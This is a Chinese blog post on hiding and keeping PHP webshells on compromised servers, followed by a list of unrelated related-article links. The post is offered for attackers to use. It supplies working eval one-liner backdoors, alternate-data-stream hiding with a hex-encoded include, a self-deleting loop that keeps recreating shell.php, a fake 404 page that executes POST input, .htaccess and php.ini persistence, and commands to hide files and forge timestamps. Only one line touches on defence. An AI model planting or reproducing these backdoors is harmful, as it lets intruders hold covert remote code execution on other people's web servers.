PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
ubuntu 编译安装php 5.3.3+memcache的方法
Aug 05 PHP
PHP内存缓存Memcached类实例
Dec 08 PHP
PHP 数据结构队列(SplQueue)和优先队列(SplPriorityQueue)简单使用实例
May 12 PHP
PHP使用缓存即时输出内容(output buffering)的方法
Aug 03 PHP
非集成环境的php运行环境(Apache配置、Mysql)搭建安装图文教程
Apr 12 PHP
PHP执行shell脚本运行程序不产生core文件的方法
Dec 28 PHP
PHP在弹框中获取foreach中遍历的id值并传递给地址栏
Jun 13 PHP
PHP设计模式之装饰器模式实例详解
Feb 07 PHP
yii2安装详细流程
May 23 PHP
PHP的mysqli_ssl_set()函数讲解
Jan 23 PHP
php无限级分类实现评论及回复功能
Feb 18 PHP
PHP实现的支付宝支付功能示例
Mar 26 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
php实现把数组按指定的个数分隔
2014/02/17 PHP
php统计数组元素个数的方法
2015/07/02 PHP
PHP解析url并得到url参数方法总结
2018/10/11 PHP
PHP利用pdo_odbc实现连接数据库示例【基于ThinkPHP5.1搭建的项目】
2019/05/13 PHP
浅谈laravel-admin的sortable和orderby使用问题
2019/10/03 PHP
js innerHTML 的一些问题的解决方法
2008/06/22 Javascript
用JS做的简单的可折叠的两级树形菜单
2013/09/21 Javascript
javascript自定义的addClass()方法
2014/05/28 Javascript
JS 使用for循环遍历子节点查找元素
2014/09/06 Javascript
流量统计器如何鉴别C#:WebBrowser中伪造referer
2015/01/07 Javascript
jQuery实现为控件添加水印文字效果(附源码)
2015/12/02 Javascript
Bootstrap自定义文件上传下载样式
2016/05/26 Javascript
AngularJS入门教程之多视图切换用法示例
2016/11/02 Javascript
vue组件初学_弹射小球(实例讲解)
2017/09/06 Javascript
基于Two.js实现星球环绕动画效果的示例
2017/11/06 Javascript
NodeJS如何实现同步的方法示例
2018/08/24 NodeJs
angular 服务随记小结
2019/05/06 Javascript
快速搭建Node.js(Express)用户注册、登录以及授权的方法
2019/05/09 Javascript
使用vue重构资讯页面的实例代码解析
2019/11/26 Javascript
详解element上传组件before-remove钩子问题解决
2020/04/08 Javascript
在Python中使用全局日志时需要注意的问题
2015/05/06 Python
python文件操作相关知识点总结整理
2016/02/22 Python
Django实现组合搜索的方法示例
2018/01/23 Python
python Popen 获取输出,等待运行完成示例
2019/12/30 Python
Django更新models数据库结构步骤
2020/04/01 Python
纽约著名的服装辅料来源:M&J Trimming
2017/07/26 全球购物
英国领先的体验日提供商:Buyagift
2019/04/19 全球购物
高级Java程序员面试要点
2013/08/02 面试题
给排水工程师岗位职责
2013/11/21 职场文书
诚信贷款承诺书
2014/05/30 职场文书
优秀团支部申报材料
2014/12/26 职场文书
事业单位工作人员年度考核个人总结
2015/02/12 职场文书
工会工作个人总结
2015/03/03 职场文书
公司与个人合作协议书
2016/03/19 职场文书
大学生,三分钟即兴演讲稿
2019/07/22 职场文书
Spring Data JPA框架持久化存储数据到数据库
2022/04/28 Java/Android